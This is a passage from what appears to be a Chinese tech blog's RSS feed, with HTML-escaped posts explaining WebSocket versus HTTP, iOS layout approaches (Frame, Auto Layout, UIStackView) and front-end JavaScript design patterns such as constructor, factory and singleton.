&lt;p&gt;（1）建立在 TCP 协议之上，服务器端的实现比较容易。&lt;/p&gt;
&lt;p&gt;（2）与 HTTP 协议有着良好的兼容性。默认端口也是80和443，并且握手阶段采用 HTTP 协议，因此握手时不容易屏蔽，能通过各种 HTTP 代理服务器。&lt;/p&gt;
&lt;p&gt;（3）数据格式比较轻量，性能开销小，通信高效。&lt;/p&gt;
&lt;p&gt;（4）可以发送文本，也可以发送二进制数据。&lt;/p&gt;
&lt;p&gt;（5）没有同源限制，客户端可以与任意服务器通信。&lt;/p&gt;
&lt;p&gt;（6）协议标识符是&lt;code&gt;ws&lt;/code&gt;（如果加密，则为&lt;code&gt;wss&lt;/code&gt;），服务器网址就是 URL。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;ws&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#75715e"&gt;//example.com:80/some/path
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/websocket/image-01.webp"&gt;&lt;/p&gt;
&lt;h3 id="为什么需要-websocket"&gt;为什么需要 WebSocket？&lt;/h3&gt;
&lt;p&gt;我们已经有了 HTTP 协议，为什么还需要另一个协议？它能带来什么好处？&lt;/p&gt;
&lt;p&gt;因为 HTTP 协议有一个缺陷：通信只能由客户端发起，不具备服务器推送能力。&lt;/p&gt;
&lt;p&gt;举例来说，我们想了解查询今天的实时数据，只能是客户端向服务器发出请求，服务器返回查询结果。HTTP 协议做不到服务器主动向客户端推送信息。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/websocket/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;这种单向请求的特点，注定了如果服务器有连续的状态变化，客户端要获知就非常麻烦。我们只能使用&lt;a href="https://www.pubnub.com/blog/2014-12-01-http-long-polling/"&gt;&amp;ldquo;轮询&amp;rdquo;&lt;/a&gt;：每隔一段时候，就发出一个询问，了解服务器有没有新的信息。最典型的场景就是聊天室。轮询的效率低，非常浪费资源（因为必须不停连接，或者 HTTP 连接始终打开）。&lt;/p&gt;
&lt;p&gt;在 WebSocket 协议出现以前，创建一个和服务端进双通道通信的 web 应用，需要依赖HTTP协议，进行不停的轮询，这会导致一些问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;服务端被迫维持来自每个客户端的大量不同的连接&lt;/li&gt;
&lt;li&gt;大量的轮询请求会造成高开销，比如会带上多余的header，造成了无用的数据传输。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;http协议本身是没有持久通信能力的，但是我们在实际的应用中，是很需要这种能力的，所以，为了解决这些问题，WebSocket协议由此而生，于2011年被IETF定为标准RFC6455，并被RFC7936所补充规范。&lt;/p&gt;
&lt;p&gt;并且在HTML5标准中增加了有关WebSocket协议的相关api，所以只要实现了HTML5标准的客户端，就可以与支持WebSocket协议的服务器进行全双工的持久通信了。&lt;/p&gt;
&lt;h3 id="websocket-与-http-的区别"&gt;WebSocket 与 HTTP 的区别&lt;/h3&gt;
&lt;p&gt;WebSocket 与 HTTP的关系图：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/websocket/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;相同点：&lt;/strong&gt; 都是一样基于TCP的，都是可靠性传输协议。都是应用层协议。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;联系：&lt;/strong&gt; WebSocket在建立握手时，数据是通过HTTP传输的。但是建立之后，在真正传输时候是不需要HTTP协议的。&lt;/p&gt;
&lt;p&gt;下面一张图说明了 HTTP 与 WebSocket 的主要区别：&lt;/p&gt;</description></item><item><title>布局方法详解</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E5%B8%83%E5%B1%80%E6%96%B9%E6%B3%95%E8%AF%A6%E8%A7%A3/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E5%B8%83%E5%B1%80%E6%96%B9%E6%B3%95%E8%AF%A6%E8%A7%A3/</guid><description>&lt;p&gt;本文详细介绍 iOS 中三种布局方式（Frame、Auto Layout、UIStackView）的原理和对比，视图更新的三个阶段（约束、布局、绘制），UIView 与 CALayer 的关系和区别，以及 &lt;code&gt;updateConstraints&lt;/code&gt;、&lt;code&gt;layoutSubviews&lt;/code&gt;、&lt;code&gt;setNeedsLayout&lt;/code&gt;、&lt;code&gt;layoutIfNeeded&lt;/code&gt;、&lt;code&gt;setNeedsDisplay&lt;/code&gt; 等相关方法的作用、调用时机和区别。&lt;/p&gt;
&lt;h2 id="ios-布局方式"&gt;iOS 布局方式&lt;/h2&gt;
&lt;p&gt;iOS 提供了三种主要的布局方式，按出现时间排列：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;布局方式&lt;/th&gt;
&lt;th&gt;引入版本&lt;/th&gt;
&lt;th&gt;核心思想&lt;/th&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Frame 布局&lt;/td&gt;
&lt;td&gt;iOS 2&lt;/td&gt;
&lt;td&gt;直接指定视图的位置和大小&lt;/td&gt;
&lt;td&gt;frame、bounds、center&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Auto Layout&lt;/td&gt;
&lt;td&gt;iOS 6&lt;/td&gt;
&lt;td&gt;通过约束描述视图间关系，系统自动计算 frame&lt;/td&gt;
&lt;td&gt;NSLayoutConstraint、Anchor API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;UIStackView&lt;/td&gt;
&lt;td&gt;iOS 9&lt;/td&gt;
&lt;td&gt;线性排列子视图，自动管理约束&lt;/td&gt;
&lt;td&gt;UIStackView&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="frame-布局"&gt;Frame 布局&lt;/h3&gt;
&lt;p&gt;直接通过设置 &lt;code&gt;frame&lt;/code&gt; 属性来确定视图的位置和大小，是最基础的布局方式。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; label = UILabel()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;label.frame = CGRect(x: &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;, y: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;, width: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, height: &lt;span style="color:#ae81ff"&gt;44&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;view.addSubview(label)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;优点&lt;/strong&gt;：性能最好（无需约束求解），逻辑直观，完全可控。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;缺点&lt;/strong&gt;：需要手动计算所有数值，难以适配不同屏幕尺寸和动态内容，维护成本高。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;适用场景&lt;/strong&gt;：简单固定布局、性能敏感的场景（如 &lt;code&gt;UITableViewCell&lt;/code&gt; 内大量视图手动布局）、需要频繁更新 frame 的动画。&lt;/p&gt;
&lt;h3 id="auto-layout"&gt;Auto Layout&lt;/h3&gt;
&lt;p&gt;Auto Layout 是基于 &lt;strong&gt;约束（Constraint）&lt;/strong&gt; 的布局系统。开发者不直接设置 frame，而是描述视图之间的关系（如&amp;quot;A 的左边距 B 右边 16pt&amp;quot;），系统通过求解约束方程组自动计算出每个视图的 frame。&lt;/p&gt;</description></item><item><title>设计模式</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-029/</link><pubDate>Tue, 01 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-029/</guid><description>&lt;p&gt;说到设计模式，大家想到的就是六大原则，23种模式。这么多模式，并非都要记住，但作为前端开发，对于前端出现率高的设计模式还是有必要了解并掌握的，浅浅掌握9种模式后，整理了这份文章。&lt;/p&gt;
&lt;p&gt;那么，我们先了解六大原则&lt;/p&gt;
&lt;h2 id="六大原则"&gt;六大原则：&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;依赖倒置原则(Dependence Inversion Principle)：高层(业务层)不应该直接调用底层(基础层)模块&lt;/li&gt;
&lt;li&gt;开闭原则(Open Close Principle)：单模块对拓展开放、对修改关闭&lt;/li&gt;
&lt;li&gt;单一原则(Single Responsibility Principle)：单模块负责的职责必须是单一的&lt;/li&gt;
&lt;li&gt;迪米特法则(Law of Demeter)：对外暴露接口应该简单&lt;/li&gt;
&lt;li&gt;接口隔离原则(Interface Segregation Principle)：单个接口(类)都应该按业务隔离开&lt;/li&gt;
&lt;li&gt;里氏替换原则(Liskov Substitution Principle)：子类可以替换父类&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;六大原则也可以用六个字替换：高内聚低耦合。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;高&lt;/strong&gt;层不直接依赖底层：依赖倒置原则&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;内&lt;/strong&gt;部修改关闭，外部开放扩展：开闭原则&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;聚&lt;/strong&gt;合单一功能：单一原则&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;低&lt;/strong&gt;知识接口，对外接口简单：迪米特法则&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;耦&lt;/strong&gt;合多个接口，不如隔离拆分：接口隔离原则&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;合&lt;/strong&gt;并复用，子类可以替换父类：里氏替换原则&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;我们采用模式编写时，要尽可能遵守这六大原则&lt;/p&gt;
&lt;h2 id="23-种设计模式分为创建型行为型和结构型"&gt;23 种设计模式分为“创建型”、“行为型”和“结构型”&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-029/image-01.png"&gt;&lt;/p&gt;
&lt;h2 id="前端九种设计模式"&gt;前端九种设计模式&lt;/h2&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-029/image-02.webp"&gt;&lt;/p&gt;
&lt;h2 id="一创建型"&gt;一、创建型&lt;/h2&gt;
&lt;p&gt;创建型从功能上来说就是创建元素，目标是规范元素创建步骤&lt;/p&gt;
&lt;h3 id="1构造器模式抽象了对象实例的变与不变变的是属性值不变的是属性名"&gt;1.构造器模式：抽象了对象实例的变与不变(变的是属性值，不变的是属性名)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 需求：给公司员工创建线上基本信息
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 单个员工创建，可以直接使用创建
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;张三&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;age&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;20&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;department&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;人力资源部门&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 可员工的数量过于多的时候，一个个创建不可行，那么就可以使用构造器模式
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;age&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;age&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;department&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;department&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;person1&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2-工厂模式为创建一组相关或相互依赖的对象提供一个接口且无须指定它们的具体类"&gt;2. 工厂模式：为创建一组相关或相互依赖的对象提供一个接口，且无须指定它们的具体类&lt;/h3&gt;
&lt;p&gt;即隐藏创建过程、暴露共同接口。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 需求：公司员工创建完信息后需要为每一个员工创建一个信息名片
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setPerson&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;pesonObj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;creatCard&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;//创建信息名片
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;otherFynction&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setPerson&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;person&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Person&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;card&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;person&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;creatCard&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;张三&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;age&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;20&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;department&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;人力资源部门&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="3-单例模式全局只有一个实例避免重复创建对象优化性能"&gt;3. 单例模式：全局只有一个实例，避免重复创建对象，优化性能&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 需求：判断一款应用的开闭状态，根据不同状态给出不同提示
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;applicationStation&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;off&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;play&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;on&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;已打开&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;on&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;shutdown&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;off&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;已关闭&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;off&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;window.&lt;span style="color:#a6e22e"&gt;applicationStation&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;applicationStation&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// applicationStation.instance = undefined
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// applicationStation.getInstance = function() {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// return function() {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// if (!applicationStation.instance) { // 如果全局没有实例再创建
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// applicationStation.instance = new applicationStation()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// return applicationStation.instance
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// }()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// application1和application2拥有同一个applicationStation对象
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;application1&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; window.&lt;span style="color:#a6e22e"&gt;applicationStation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;application2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; window.&lt;span style="color:#a6e22e"&gt;applicationStation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="二结构型"&gt;二、结构型&lt;/h2&gt;
